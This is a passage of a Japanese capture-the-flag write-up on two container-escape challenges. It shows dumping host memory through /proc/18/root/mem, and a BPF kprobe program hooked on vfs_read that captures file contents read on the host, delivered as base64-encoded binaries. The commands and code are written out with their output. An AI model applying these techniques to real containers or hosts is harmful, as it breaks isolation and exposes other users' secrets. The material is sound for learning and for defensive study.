exec switch_root /mnt /bin/sh

私が問題を見た時点で、pr0xyさんによって mount -t proc none /proc/ でprocfsがマウントできるとわかっていた。procfsから何かしらの情報が得られないか見ていると、ls -la /proc/*/root/ をしたときになぜかPIDが 18 のプロセスでは /dev/ を指していることがわかった。

~ # ls -la /proc/18/root/
ls -la /proc/18/root/
total 0
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 .
drwxr-xr-x    7 0        0             2260 Apr  6 22:46 ..
crw-r--r--    1 0        0          10, 235 Apr  6 22:46 autofs
drwxr-xr-x    2 0        0               60 Apr  6 22:46 bsg
crw-------    1 0        0           5,   1 Apr  6 22:46 console
drwxr-xr-x    3 0        0               60 Apr  6 22:46 cpu
crw-------    1 0        0          10, 126 Apr  6 22:46 cpu_dma_latency
crw-rw-rw-    1 0        0           1,   7 Apr  6 22:46 full
…

この中には mem も含まれている。ramfsらしいので /dev/mem にフラグが載っていないかと考えた。安直だと思いつつやってみると、フラグが得られてしまった。

~ # mount -t proc none /proc/
~ # mkdir /tmp
~ # dd if=/proc/18/root/mem of=/tmp/poyo bs=1 skip=$((0x6000000)) count=$((0x10000000))
~ # cd /tmp
/tmp # strings -n 8 poyo | grep "gigem"
gigem{now_where_did_that_come_from_exactly}
gigem{now_where_did_that_come_from_exactly}

[Misc 499] Over The Shoulder (7 solves)

You are given a shell inside a docker container. The host running docker does cat /home/user/flag.txt once per minute. Read the flag.

openssl s_client -connect tamuctf.com:443 -servername over-the-shoulder

問題サーバに接続するとシェルが立ち上がった。問題文からコンテナエスケープ問だとわかる。まず環境を確認すると、どうやらAlpine Linux 3.19らしいとわかった。

$ uname -a
Linux 6f796d151145 6.7.9-200.fc39.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Mar  6 19:35:04 UTC 2024 x86_64 Linux
$ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.19.1
PRETTY_NAME="Alpine Linux v3.19"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"

pr0xyさんがScavengingで試されていた方法を見つつ、付与されているcapabilityを見ていく。色々あるけれども cap_perfmoncap_bpf が気になった。

問題文では cat /home/user/flag.txt がホスト側で定期的に実行されていると言っているけれども、もっと派手なエスケープができる(つまり、ホスト側でシェルを奪える)のであればわざわざそんなことを言う必要がない。その情報に関連することができるのではないか、たとえばBPFプログラムでカーネルでの処理にフックして、cat /home/user/flag.txt で読み出されている内容を盗み取ることができるのではないかと考えた。

$ grep Cap /proc/1/status
CapInh: 0000000000000000
CapPrm: 000000c0a80425fb
CapEff: 000000c0a80425fb
CapBnd: 000000c0a80425fb
CapAmb: 0000000000000000
$ capsh --decode=000000c0a80425fb
0x000000c0a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap,cap_perfmon,cap_bpf

別途、手元での検証やBPFを使ったプログラムのビルド用にAlpine Linuxの環境を用意する。適当に masmullin2000/libbpf-sample をベースとしつつ書いていく。並行してコンテナエスケープの色々な資料を読んでいると、kprobeで vfs_read にフックする手法を見つけた。これをやってみよう。

コードは次の通り。

~/libbpf-sample/c/simple # cat exec.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/resource.h>

#include "exec.skel.h"

int main(void)
{
    struct exec *skel = exec__open_and_load();
    exec__attach(skel);

    for(;;) {
    }
    return 0;
}
~/libbpf-sample/c/simple # cat exec.bpf.c
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>

SEC("kprobe/vfs_read")
int BPF_KPROBE(struct pt_regs *ctx, struct file *fd, const char *buf, size_t count)
{
    char s[128];
    bpf_probe_read(s, 128, (void *)ctx->r13);
    bpf_printk("vfs_read %s\n", s);
    return 0;
}

char LICENSE[] SEC("license") = "neko";

これをビルドする。問題サーバの環境ではネットワークへの接続ができないために、できあがったバイナリや共有ライブラリを .tar.gz に固め、Base64エンコードして問題サーバの環境へ持っていく*2。このバイナリを実行しつつ、/sys/kernel/tracing/trace_pipe から bpf_printk の出力を見る。

touch a.txt
# base64 -w900 a.tar.gz | xargs -i echo 'echo "{}" >> a.txt' > tmp.txt でtmp.txtに出力されたコマンドを実行。a.txtにBase64エンコードされた.tar.gzを書き込む
base64 -d a.txt > a.tar.gz
tar zxvf a.tar.gz
mv usr/lib/libbpf.so.1.3.0 /usr/lib/libbpf.so.1
mv usr/lib/libelf-0.190.so /usr/lib/libelf.so.1
mv usr/lib/libzstd.so.1.5.5 /usr/lib/libzstd.so.1

echo 'r:vfs_read vfs_read' >> /sys/kernel/tracing/kprobe_events
./exec &
grep cat /sys/kernel/tracing/trace_pipe &

しばらく待つと、フラグが出力された。

tk: vfs_read
            grep-1086    [000] ...21   131.003332: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
            grep-1086    [000] ...21   131.003333: bpf_trace_printk: vfs_read             grep-1086    [000] ...21   131.003324: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.001301:
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
           socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598: bpf_trace_printk: vfs_read gigem{this_aint_your_mamas_shoulder_surfing}
            grep-1086    [000] ...21   131.006318: bpf_trace_printk: vfs_read            socat-1047    [000] ...21   131.004301: bpf_trace_printk: vfs_read
             cat-1108    [000] ...21   130.989598
gigem{this_aint_your_mamas_shoulder_surfing}

*1:"10 hex characters" ではないが…

*2:既視感がある